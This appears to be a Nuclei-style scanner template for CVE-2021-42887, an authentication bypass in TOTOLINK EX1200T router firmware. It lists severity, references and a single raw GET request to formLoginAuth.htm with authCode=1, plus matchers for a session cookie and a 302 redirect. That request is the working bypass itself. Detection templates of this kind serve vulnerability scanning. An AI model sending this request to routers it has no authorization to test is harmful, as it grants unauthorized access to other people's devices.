id: CVE-2021-42887 info: name: TOTOLINK - Authentication Bypass author: gy741 severity: critical description: | In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm. reference: - https://nvd.nist.gov/vuln/detail/cve-2021-42887 - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N cvss-score: 9.8 cve-id: CVE-2021-42887 cwe-id: CWE-287 tags: totolink,auth-bypass,cve,cve2021,router requests: - raw: - | GET /formLoginAuth.htm?authCode=1&action=login HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word words: - "Set-Cookie: SESSION_ID=" part: header - type: status status: - 302 # Enhanced by mp on 2022/11/06